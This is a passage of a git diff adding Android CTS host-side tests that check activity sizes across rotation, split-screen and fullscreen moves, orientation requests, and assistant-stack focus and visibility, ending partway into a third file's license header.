+        // Launch our own activity to side in case Recents (or other activity to side) doesn't
+        // support rotation.
+        getLaunchActivityBuilder().setToSide(true).setTargetActivityName(TEST_ACTIVITY_NAME)
+                .execute();
+        // Launch target activity in docked stack.
+        getLaunchActivityBuilder().setTargetActivityName(RESIZEABLE_ACTIVITY_NAME).execute();
+        final ReportedSizes initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
+                logSeparator);
+
+        rotateAndCheckSizes(initialSizes);
+    }
+
+    /**
+     * Same as {@link #testConfigurationUpdatesWhenRotatingWhileDocked()} but when the Activity
+     * is launched to side from docked stack.
+     */
+    public void testConfigurationUpdatesWhenRotatingToSideFromDocked() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
+            return;
+        }
+
+        setDeviceRotation(0);
+
+        final String logSeparator = clearLogcat();
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+
+        getLaunchActivityBuilder().setToSide(true).setTargetActivityName(RESIZEABLE_ACTIVITY_NAME)
+                .execute();
+        final ReportedSizes initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
+                logSeparator);
+
+        rotateAndCheckSizes(initialSizes);
+    }
+
+    private void rotateAndCheckSizes(ReportedSizes prevSizes) throws Exception {
+        for (int rotation = 3; rotation >= 0; --rotation) {
+            final String logSeparator = clearLogcat();
+            final int actualStackId = mAmWmState.getAmState().getTaskByActivityName(
+                    RESIZEABLE_ACTIVITY_NAME).mStackId;
+            final int displayId = mAmWmState.getAmState().getStackById(actualStackId).mDisplayId;
+            setDeviceRotation(rotation);
+            final int newDeviceRotation = getDeviceRotation(displayId);
+            if (newDeviceRotation == INVALID_DEVICE_ROTATION) {
+                CLog.logAndDisplay(LogLevel.WARN, "Got an invalid device rotation value. "
+                        + "Continuing the test despite of that, but it is likely to fail.");
+            } else if (rotation != newDeviceRotation) {
+                CLog.logAndDisplay(LogLevel.INFO, "This device doesn't support locked user "
+                        + "rotation mode. Not continuing the rotation checks.");
+                return;
+            }
+
+            final ReportedSizes rotatedSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
+                    logSeparator);
+            assertSizesRotate(prevSizes, rotatedSizes);
+            prevSizes = rotatedSizes;
+        }
+    }
+
+    /**
+     * Tests when activity moved from fullscreen stack to docked and back. Activity will be
+     * relaunched twice and it should have same config as initial one.
+     */
+    public void testSameConfigurationFullSplitFullRelaunch() throws Exception {
+        moveActivityFullSplitFull(TEST_ACTIVITY_NAME);
+    }
+
+    /**
+     * Same as {@link #testSameConfigurationFullSplitFullRelaunch} but without relaunch.
+     */
+    @Presubmit
+    public void testSameConfigurationFullSplitFullNoRelaunch() throws Exception {
+        moveActivityFullSplitFull(RESIZEABLE_ACTIVITY_NAME);
+    }
+
+    /**
+     * Launches activity in fullscreen stack, moves to docked stack and back to fullscreen stack.
+     * Last operation is done in a way which simulates split-screen divider movement maximizing
+     * docked stack size and then moving task to fullscreen stack - the same way it is done when
+     * user long-presses overview/recents button to exit split-screen.
+     * Asserts that initial and final reported sizes in fullscreen stack are the same.
+     */
+    private void moveActivityFullSplitFull(String activityName) throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
+            return;
+        }
+
+        // Launch to fullscreen stack and record size.
+        String logSeparator = clearLogcat();
+        launchActivityInStack(activityName, FULLSCREEN_WORKSPACE_STACK_ID);
+        final ReportedSizes initialFullscreenSizes = getActivityDisplaySize(activityName,
+                logSeparator);
+        final Rectangle displayRect = getDisplayRect(activityName);
+
+        // Move to docked stack.
+        logSeparator = clearLogcat();
+        moveActivityToStack(activityName, DOCKED_STACK_ID);
+        final ReportedSizes dockedSizes = getActivityDisplaySize(activityName, logSeparator);
+        assertSizesAreSane(initialFullscreenSizes, dockedSizes);
+        // Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
+        // will come up.
+        launchActivityInStack(activityName, DOCKED_STACK_ID);
+        mAmWmState.computeState(mDevice, new String[] { activityName },
+                false /* compareTaskAndStackBounds */);
+
+        // Resize docked stack to fullscreen size. This will trigger activity relaunch with
+        // non-empty override configuration corresponding to fullscreen size.
+        logSeparator = clearLogcat();
+        runCommandAndPrintOutput("am stack resize " + DOCKED_STACK_ID + " 0 0 "
+                + displayRect.width + " " + displayRect.height);
+        // Move activity back to fullscreen stack.
+        moveActivityToStack(activityName, FULLSCREEN_WORKSPACE_STACK_ID);
+        final ReportedSizes finalFullscreenSizes = getActivityDisplaySize(activityName,
+                logSeparator);
+
+        // After activity configuration was changed twice it must report same size as original one.
+        assertSizesAreSame(initialFullscreenSizes, finalFullscreenSizes);
+    }
+
+    /**
+     * Tests when activity moved from docked stack to fullscreen and back. Activity will be
+     * relaunched twice and it should have same config as initial one.
+     */
+    public void testSameConfigurationSplitFullSplitRelaunch() throws Exception {
+        moveActivitySplitFullSplit(TEST_ACTIVITY_NAME);
+    }
+
+    /**
+     * Same as {@link #testSameConfigurationSplitFullSplitRelaunch} but without relaunch.
+     */
+    public void testSameConfigurationSplitFullSplitNoRelaunch() throws Exception {
+        moveActivitySplitFullSplit(RESIZEABLE_ACTIVITY_NAME);
+    }
+
+    /**
+     * Tests that an activity with the DialogWhenLarge theme can transform properly when in split
+     * screen.
+     */
+    @Presubmit
+    public void testDialogWhenLargeSplitSmall() throws Exception {
+        launchActivityInStack(DIALOG_WHEN_LARGE_ACTIVITY, DOCKED_STACK_ID);
+        final ActivityManagerState.ActivityStack stack = mAmWmState.getAmState()
+                .getStackById(DOCKED_STACK_ID);
+        final WindowManagerState.Display display =
+                mAmWmState.getWmState().getDisplay(stack.mDisplayId);
+        final int density = display.getDpi();
+        final int smallWidthPx = dpToPx(SMALL_WIDTH_DP, density);
+        final int smallHeightPx = dpToPx(SMALL_HEIGHT_DP, density);
+
+        runCommandAndPrintOutput("am stack resize " + DOCKED_STACK_ID + " 0 0 "
+                + smallWidthPx + " " + smallHeightPx);
+        mAmWmState.waitForValidState(mDevice, DIALOG_WHEN_LARGE_ACTIVITY, DOCKED_STACK_ID);
+    }
+
+    /**
+     * Test that device handles consequent requested orientations and displays the activities.
+     */
+    @Presubmit
+    public void testFullscreenAppOrientationRequests() throws Exception {
+        launchActivity(PORTRAIT_ACTIVITY_NAME);
+        mAmWmState.assertVisibility(PORTRAIT_ACTIVITY_NAME, true /* visible */);
+        assertEquals("Fullscreen app requested portrait orientation",
+                1 /* portrait */, mAmWmState.getWmState().getLastOrientation());
+
+        launchActivity(LANDSCAPE_ACTIVITY_NAME);
+        mAmWmState.assertVisibility(LANDSCAPE_ACTIVITY_NAME, true /* visible */);
+        assertEquals("Fullscreen app requested landscape orientation",
+                0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
+
+        launchActivity(PORTRAIT_ACTIVITY_NAME);
+        mAmWmState.assertVisibility(PORTRAIT_ACTIVITY_NAME, true /* visible */);
+        assertEquals("Fullscreen app requested portrait orientation",
+                1 /* portrait */, mAmWmState.getWmState().getLastOrientation());
+    }
+
+    public void testNonfullscreenAppOrientationRequests() throws Exception {
+        String logSeparator = clearLogcat();
+        launchActivity(PORTRAIT_ACTIVITY_NAME);
+        final ReportedSizes initialReportedSizes =
+                getLastReportedSizesForActivity(PORTRAIT_ACTIVITY_NAME, logSeparator);
+        assertEquals("portrait activity should be in portrait",
+                1 /* portrait */, initialReportedSizes.orientation);
+        logSeparator = clearLogcat();
+
+        // TODO(b/38225467): Target SDK 26 specific package when SDK 27 released.
+        launchActivityInComponent(TRANSLUCENT_CURRENT_PACKAGE, TRANSLUCENT_ACTIVITY);
+        assertEquals("Legacy non-fullscreen activity requested landscape orientation",
+                0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
+
+        // TODO(b/36897968): uncomment once we can suppress unsupported configurations
+        // final ReportedSizes updatedReportedSizes =
+        //      getLastReportedSizesForActivity(PORTRAIT_ACTIVITY_NAME, logSeparator);
+        // assertEquals("portrait activity should not have moved from portrait",
+        //         1 /* portrait */, updatedReportedSizes.orientation);
+    }
+
+// TODO(b/38225467): Uncomment when SDK 27 is released.
+//    public void testNonFullscreenActivityProhibited() throws Exception {
+//        setComponentName(TRANSLUCENT_CURRENT_PACKAGE);
+//        launchActivity(TRANSLUCENT_ACTIVITY);
+//        mAmWmState.assertNotResumedActivity(
+//                "target SDK > 25 non-fullscreen activity should not reach onResume",
+//                TRANSLUCENT_ACTIVITY);
+//    }
+
+    // TODO(b/38225467): rename to testLegacyNonFullscreenActivityPermitted
+    public void testNonFullscreenActivityPermitted() throws Exception {
+        // TODO(b/38225467): Target SDK 26 specific package when SDK 27 released.
+        setComponentName(TRANSLUCENT_CURRENT_PACKAGE);
+        setDeviceRotation(0);
+
+        launchActivity(TRANSLUCENT_ACTIVITY);
+        mAmWmState.assertResumedActivity(
+                "target SDK <= 26 non-fullscreen activity should be allowed to launch",
+                TRANSLUCENT_ACTIVITY);
+        assertEquals("non-fullscreen activity requested landscape orientation",
+                0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
+    }
+
+    /**
+     * Test that device handles moving between two tasks with different orientations.
+     */
+    public void testTaskCloseRestoreOrientation() throws Exception {
+        // Start landscape activity.
+        launchActivity(LANDSCAPE_ACTIVITY_NAME);
+        mAmWmState.assertVisibility(LANDSCAPE_ACTIVITY_NAME, true /* visible */);
+        assertEquals("Fullscreen app requested landscape orientation",
+                0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
+
+        // Start another activity in a different task.
+        launchActivityInNewTask(BROADCAST_RECEIVER_ACTIVITY);
+
+        // Request portrait
+        executeShellCommand(getOrientationBroadcast(1 /*portrait*/));
+        mAmWmState.waitForRotation(mDevice, 1);
+
+        // Finish activity
+        executeShellCommand(FINISH_ACTIVITY_BROADCAST);
+
+        // Verify that activity brought to front is in originally requested orientation.
+        mAmWmState.waitForValidState(mDevice, LANDSCAPE_ACTIVITY_NAME);
+        assertEquals("Should return to app in landscape orientation",
+                0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
+    }
+
+    /**
+     * Test that device handles moving between two tasks with different orientations.
+     */
+    public void testTaskMoveToBackOrientation() throws Exception {
+        // Start landscape activity.
+        launchActivity(LANDSCAPE_ACTIVITY_NAME);
+        mAmWmState.assertVisibility(LANDSCAPE_ACTIVITY_NAME, true /* visible */);
+        assertEquals("Fullscreen app requested landscape orientation",
+                0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
+
+        // Start another activity in a different task.
+        launchActivityInNewTask(BROADCAST_RECEIVER_ACTIVITY);
+
+        // Request portrait
+        executeShellCommand(getOrientationBroadcast(1 /*portrait*/));
+        mAmWmState.waitForRotation(mDevice, 1);
+
+        // Finish activity
+        executeShellCommand(MOVE_TASK_TO_BACK_BROADCAST);
+
+        // Verify that activity brought to front is in originally requested orientation.
+        mAmWmState.waitForValidState(mDevice, LANDSCAPE_ACTIVITY_NAME);
+        assertEquals("Should return to app in landscape orientation",
+                0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
+    }
+
+    /**
+     * Test that device doesn't change device orientation by app request while in multi-window.
+     */
+    public void testSplitscreenPortraitAppOrientationRequests() throws Exception {
+        requestOrientationInSplitScreen(1 /* portrait */, LANDSCAPE_ACTIVITY_NAME);
+    }
+
+    /**
+     * Test that device doesn't change device orientation by app request while in multi-window.
+     */
+    public void testSplitscreenLandscapeAppOrientationRequests() throws Exception {
+        requestOrientationInSplitScreen(0 /* landscape */, PORTRAIT_ACTIVITY_NAME);
+    }
+
+    /**
+     * Rotate the device and launch specified activity in split-screen, checking if orientation
+     * didn't change.
+     */
+    private void requestOrientationInSplitScreen(int orientation, String activity)
+            throws Exception {
+        // Set initial orientation.
+        setDeviceRotation(orientation);
+
+        // Launch activities that request orientations and check that device doesn't rotate.
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+
+        getLaunchActivityBuilder().setToSide(true).setMultipleTask(true)
+                .setTargetActivityName(activity).execute();
+        mAmWmState.computeState(mDevice, new String[] {activity});
+        mAmWmState.assertVisibility(activity, true /* visible */);
+        assertEquals("Split-screen apps shouldn't influence device orientation",
+                orientation, mAmWmState.getWmState().getRotation());
+
+        getLaunchActivityBuilder().setMultipleTask(true).setTargetActivityName(activity).execute();
+        mAmWmState.computeState(mDevice, new String[] {activity});
+        mAmWmState.assertVisibility(activity, true /* visible */);
+        assertEquals("Split-screen apps shouldn't influence device orientation",
+                orientation, mAmWmState.getWmState().getRotation());
+    }
+
+    /**
+     * Launches activity in docked stack, moves to fullscreen stack and back to docked stack.
+     * Asserts that initial and final reported sizes in docked stack are the same.
+     */
+    private void moveActivitySplitFullSplit(String activityName) throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
+            return;
+        }
+
+        // Launch to docked stack and record size.
+        String logSeparator = clearLogcat();
+        launchActivityInStack(activityName, DOCKED_STACK_ID);
+        final ReportedSizes initialDockedSizes = getActivityDisplaySize(activityName, logSeparator);
+        // Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
+        // will come up.
+        launchActivityInStack(activityName, DOCKED_STACK_ID);
+        mAmWmState.computeState(mDevice, new String[] { activityName },
+                false /* compareTaskAndStackBounds */);
+
+        // Move to fullscreen stack.
+        logSeparator = clearLogcat();
+        moveActivityToStack(activityName, FULLSCREEN_WORKSPACE_STACK_ID);
+        final ReportedSizes fullscreenSizes = getActivityDisplaySize(activityName, logSeparator);
+        assertSizesAreSane(fullscreenSizes, initialDockedSizes);
+
+        // Move activity back to docked stack.
+        logSeparator = clearLogcat();
+        moveActivityToStack(activityName, DOCKED_STACK_ID);
+        final ReportedSizes finalDockedSizes = getActivityDisplaySize(activityName, logSeparator);
+
+        // After activity configuration was changed twice it must report same size as original one.
+        assertSizesAreSame(initialDockedSizes, finalDockedSizes);
+    }
+
+    /**
+     * Asserts that after rotation, the aspect ratios of display size, metrics, and configuration
+     * have flipped.
+     */
+    private static void assertSizesRotate(ReportedSizes rotationA, ReportedSizes rotationB)
+            throws Exception {
+        assertEquals(rotationA.displayWidth, rotationA.metricsWidth);
+        assertEquals(rotationA.displayHeight, rotationA.metricsHeight);
+        assertEquals(rotationB.displayWidth, rotationB.metricsWidth);
+        assertEquals(rotationB.displayHeight, rotationB.metricsHeight);
+
+        final boolean beforePortrait = rotationA.displayWidth < rotationA.displayHeight;
+        final boolean afterPortrait = rotationB.displayWidth < rotationB.displayHeight;
+        assertFalse(beforePortrait == afterPortrait);
+
+        final boolean beforeConfigPortrait = rotationA.widthDp < rotationA.heightDp;
+        final boolean afterConfigPortrait = rotationB.widthDp < rotationB.heightDp;
+        assertEquals(beforePortrait, beforeConfigPortrait);
+        assertEquals(afterPortrait, afterConfigPortrait);
+
+        assertEquals(rotationA.smallestWidthDp, rotationB.smallestWidthDp);
+    }
+
+    /**
+     * Throws an AssertionError if fullscreenSizes has widths/heights (depending on aspect ratio)
+     * that are smaller than the dockedSizes.
+     */
+    private static void assertSizesAreSane(ReportedSizes fullscreenSizes, ReportedSizes dockedSizes)
+            throws Exception {
+        final boolean portrait = fullscreenSizes.displayWidth < fullscreenSizes.displayHeight;
+        if (portrait) {
+            assertTrue(dockedSizes.displayHeight < fullscreenSizes.displayHeight);
+            assertTrue(dockedSizes.heightDp < fullscreenSizes.heightDp);
+            assertTrue(dockedSizes.metricsHeight < fullscreenSizes.metricsHeight);
+        } else {
+            assertTrue(dockedSizes.displayWidth < fullscreenSizes.displayWidth);
+            assertTrue(dockedSizes.widthDp < fullscreenSizes.widthDp);
+            assertTrue(dockedSizes.metricsWidth < fullscreenSizes.metricsWidth);
+        }
+    }
+
+    /**
+     * Throws an AssertionError if sizes are different.
+     */
+    private static void assertSizesAreSame(ReportedSizes firstSize, ReportedSizes secondSize)
+            throws Exception {
+        assertEquals(firstSize.widthDp, secondSize.widthDp);
+        assertEquals(firstSize.heightDp, secondSize.heightDp);
+        assertEquals(firstSize.displayWidth, secondSize.displayWidth);
+        assertEquals(firstSize.displayHeight, secondSize.displayHeight);
+        assertEquals(firstSize.metricsWidth, secondSize.metricsWidth);
+        assertEquals(firstSize.metricsHeight, secondSize.metricsHeight);
+        assertEquals(firstSize.smallestWidthDp, secondSize.smallestWidthDp);
+    }
+
+    private ReportedSizes getActivityDisplaySize(String activityName, String logSeparator)
+            throws Exception {
+        mAmWmState.computeState(mDevice, new String[] { activityName },
+                false /* compareTaskAndStackBounds */);
+        final ReportedSizes details = getLastReportedSizesForActivity(activityName, logSeparator);
+        assertNotNull(details);
+        return details;
+    }
+
+    private Rectangle getDisplayRect(String activityName)
+            throws Exception {
+        final String windowName = getWindowName(activityName);
+
+        mAmWmState.computeState(mDevice, new String[] {activityName});
+        mAmWmState.assertFocusedWindow("Test window must be the front window.", windowName);
+
+        final List<WindowManagerState.WindowState> tempWindowList = new ArrayList<>();
+        mAmWmState.getWmState().getMatchingVisibleWindowState(windowName, tempWindowList);
+
+        assertEquals("Should have exactly one window state for the activity.", 1,
+                tempWindowList.size());
+
+        WindowManagerState.WindowState windowState = tempWindowList.get(0);
+        assertNotNull("Should have a valid window", windowState);
+
+        WindowManagerState.Display display = mAmWmState.getWmState()
+                .getDisplay(windowState.getDisplayId());
+        assertNotNull("Should be on a display", display);
+
+        return display.getDisplayRect();
+    }
+
+    /**
+     * Test launching an activity which requests specific UI mode during creation.
+     */
+    public void testLaunchWithUiModeChange() throws Exception {
+        // Launch activity that changes UI mode and handles this configuration change.
+        launchActivity(NIGHT_MODE_ACTIVITY);
+        mAmWmState.waitForActivityState(mDevice, NIGHT_MODE_ACTIVITY, STATE_RESUMED);
+
+        // Check if activity is launched successfully.
+        mAmWmState.assertVisibility(NIGHT_MODE_ACTIVITY, true /* visible */);
+        mAmWmState.assertFocusedActivity("Launched activity should be focused",
+                NIGHT_MODE_ACTIVITY);
+        mAmWmState.assertResumedActivity("Launched activity must be resumed", NIGHT_MODE_ACTIVITY);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java
new file mode 100644
index 0000000..21146a4
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java
@@ -0,0 +1,246 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import static android.server.cts.ActivityManagerState.STATE_RESUMED;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test android.server.cts.ActivityManagerAssistantStackTests
+ */
+public class ActivityManagerAssistantStackTests extends ActivityManagerTestBase {
+
+    private static final String VOICE_INTERACTION_SERVICE = "AssistantVoiceInteractionService";
+
+    private static final String TEST_ACTIVITY = "TestActivity";
+    private static final String DOCKED_ACTIVITY = "DockedActivity";
+    private static final String ASSISTANT_ACTIVITY = "AssistantActivity";
+    private static final String LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION =
+            "LaunchAssistantActivityFromSession";
+    private static final String LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK =
+            "LaunchAssistantActivityIntoAssistantStack";
+    private static final String PIP_ACTIVITY = "PipActivity";
+
+    private static final String EXTRA_ENTER_PIP = "enter_pip";
+    private static final String EXTRA_LAUNCH_NEW_TASK = "launch_new_task";
+    private static final String EXTRA_FINISH_SELF = "finish_self";
+    public static final String EXTRA_IS_TRANSLUCENT = "is_translucent";
+
+    private static final String TEST_ACTIVITY_ACTION_FINISH_SELF =
+            "android.server.cts.TestActivity.finish_self";
+
+    public void testLaunchingAssistantActivityIntoAssistantStack() throws Exception {
+        // Enable the assistant and launch an assistant activity
+        enableAssistant();
+        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
+        mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
+
+        // Ensure that the activity launched in the fullscreen assistant stack
+        assertAssistantStackExists();
+        assertTrue("Expected assistant stack to be fullscreen",
+                mAmWmState.getAmState().getStackById(ASSISTANT_STACK_ID).isFullscreen());
+
+        disableAssistant();
+    }
+
+    public void testAssistantStackZOrder() throws Exception {
+        // Launch a pinned stack task
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+        mAmWmState.assertContainsStack("Must contain pinned stack.", PINNED_STACK_ID);
+
+        // Dock a task
+        launchActivity(TEST_ACTIVITY);
+        launchActivityInDockStack(DOCKED_ACTIVITY);
+        mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+                FULLSCREEN_WORKSPACE_STACK_ID);
+        mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
+
+        // Enable the assistant and launch an assistant activity, ensure it is on top
+        enableAssistant();
+        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
+        mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
+        assertAssistantStackExists();
+
+        mAmWmState.assertFrontStack("Pinned stack should be on top.", PINNED_STACK_ID);
+        mAmWmState.assertFocusedStack("Assistant stack should be focused.", ASSISTANT_STACK_ID);
+
+        disableAssistant();
+    }
+
+    public void testAssistantStackLaunchNewTask() throws Exception {
+        enableAssistant();
+        assertAssistantStackCanLaunchAndReturnFromNewTask();
+        disableAssistant();
+    }
+
+    public void testAssistantStackLaunchNewTaskWithDockedStack() throws Exception {
+        // Dock a task
+        launchActivity(TEST_ACTIVITY);
+        launchActivityInDockStack(DOCKED_ACTIVITY);
+        mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+                FULLSCREEN_WORKSPACE_STACK_ID);
+        mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
+
+        enableAssistant();
+        assertAssistantStackCanLaunchAndReturnFromNewTask();
+        disableAssistant();
+    }
+
+    private void assertAssistantStackCanLaunchAndReturnFromNewTask() throws Exception {
+        // Enable the assistant and launch an assistant activity which will launch a new task
+        enableAssistant();
+        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+                EXTRA_LAUNCH_NEW_TASK, TEST_ACTIVITY);
+        disableAssistant();
+
+        // Ensure that the fullscreen stack is on top and the test activity is now visible
+        mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
+        mAmWmState.assertFocusedActivity("TestActivity should be resumed", TEST_ACTIVITY);
+        mAmWmState.assertFrontStack("Fullscreen stack should be on top.",
+                FULLSCREEN_WORKSPACE_STACK_ID);
+        mAmWmState.assertFocusedStack("Fullscreen stack should be focused.",
+                FULLSCREEN_WORKSPACE_STACK_ID);
+
+        // Now, tell it to finish itself and ensure that the assistant stack is brought back forward
+        executeShellCommand("am broadcast -a " + TEST_ACTIVITY_ACTION_FINISH_SELF);
+        mAmWmState.waitForFocusedStack(mDevice, ASSISTANT_STACK_ID);
+        mAmWmState.assertFrontStack("Assistant stack should be on top.", ASSISTANT_STACK_ID);
+        mAmWmState.assertFocusedStack("Assistant stack should be focused.", ASSISTANT_STACK_ID);
+    }
+
+    public void testAssistantStackFinishToPreviousApp() throws Exception {
+        // Launch an assistant activity on top of an existing fullscreen activity, and ensure that
+        // the fullscreen activity is still visible and on top after the assistant activity finishes
+        launchActivity(TEST_ACTIVITY);
+        enableAssistant();
+        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+                EXTRA_FINISH_SELF, "true");
+        disableAssistant();
+        mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
+        mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY, STATE_RESUMED);
+        mAmWmState.assertFocusedActivity("TestActivity should be resumed", TEST_ACTIVITY);
+        mAmWmState.assertFrontStack("Fullscreen stack should be on top.",
+                FULLSCREEN_WORKSPACE_STACK_ID);
+        mAmWmState.assertFocusedStack("Fullscreen stack should be focused.",
+                FULLSCREEN_WORKSPACE_STACK_ID);
+    }
+
+    public void testDisallowEnterPiPFromAssistantStack() throws Exception {
+        enableAssistant();
+        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+                EXTRA_ENTER_PIP, "true");
+        disableAssistant();
+        mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
+        mAmWmState.assertDoesNotContainStack("Must not contain pinned stack.", PINNED_STACK_ID);
+    }
+
+    public void testTranslucentAssistantActivityStackVisibility() throws Exception {
+        enableAssistant();
+        // Go home, launch the assistant and check to see that home is visible
+        removeStacks(FULLSCREEN_WORKSPACE_STACK_ID);
+        launchHomeActivity();
+        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+                EXTRA_IS_TRANSLUCENT, String.valueOf(true));
+        mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
+        assertAssistantStackExists();
+        mAmWmState.assertHomeActivityVisible(true);
+
+        // Launch a fullscreen app and then launch the assistant and check to see that it is
+        // also visible
+        removeStacks(ASSISTANT_STACK_ID);
+        launchActivity(TEST_ACTIVITY);
+        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+                EXTRA_IS_TRANSLUCENT, String.valueOf(true));
+        mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
+        assertAssistantStackExists();
+        mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+
+        // Launch a fullscreen and docked app and then launch the assistant and check to see that it
+        // is also visible
+        removeStacks(ASSISTANT_STACK_ID);
+        launchActivityInDockStack(DOCKED_ACTIVITY);
+        launchActivity(TEST_ACTIVITY);
+        mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
+        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+                EXTRA_IS_TRANSLUCENT, String.valueOf(true));
+        mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
+        assertAssistantStackExists();
+        mAmWmState.assertVisibility(DOCKED_ACTIVITY, true);
+        mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+        disableAssistant();
+    }
+
+    public void testLaunchIntoSameTask() throws Exception {
+        enableAssistant();
+
+        // Launch the assistant
+        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
+        assertAssistantStackExists();
+        mAmWmState.assertVisibility(ASSISTANT_ACTIVITY, true);
+        mAmWmState.assertFocusedStack("Expected assistant stack focused", ASSISTANT_STACK_ID);
+        assertEquals(1, mAmWmState.getAmState().getStackById(ASSISTANT_STACK_ID).getTasks().size());
+        final int taskId = mAmWmState.getAmState().getTaskByActivityName(ASSISTANT_ACTIVITY)
+                .mTaskId;
+
+        // Launch a new fullscreen activity
+        launchActivity(TEST_ACTIVITY);
+        mAmWmState.assertVisibility(ASSISTANT_ACTIVITY, false);
+
+        // Launch the assistant again and ensure that it goes into the same task
+        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
+        assertAssistantStackExists();
+        mAmWmState.assertVisibility(ASSISTANT_ACTIVITY, true);
+        mAmWmState.assertFocusedStack("Expected assistant stack focused", ASSISTANT_STACK_ID);
+        assertEquals(1, mAmWmState.getAmState().getStackById(ASSISTANT_STACK_ID).getTasks().size());
+        assertEquals(taskId,
+                mAmWmState.getAmState().getTaskByActivityName(ASSISTANT_ACTIVITY).mTaskId);
+
+        disableAssistant();
+    }
+
+    /**
+     * Asserts that the assistant stack exists.
+     */
+    private void assertAssistantStackExists() throws Exception {
+        mAmWmState.assertContainsStack("Must contain assistant stack.", ASSISTANT_STACK_ID);
+    }
+
+    /**
+     * Asserts that the assistant stack does not exist.
+     */
+    private void assertAssistantStackDoesNotExist() throws Exception {
+        mAmWmState.assertDoesNotContainStack("Must not contain assistant stack.",
+                ASSISTANT_STACK_ID);
+    }
+
+    /**
+     * Sets the system voice interaction service.
+     */
+    private void enableAssistant() throws Exception {
+        executeShellCommand("settings put secure voice_interaction_service " +
+                getActivityComponentName(VOICE_INTERACTION_SERVICE));
+    }
+
+    /**
+     * Resets the system voice interaction service.
+     */
+    private void disableAssistant() throws Exception {
+        executeShellCommand("settings delete secure voice_interaction_service " +
+                getActivityComponentName(VOICE_INTERACTION_SERVICE));
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerConfigChangeTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerConfigChangeTests.java
new file mode 100644
index 0000000..4640d19
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerConfigChangeTests.java
@@ -0,0 +1,237 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
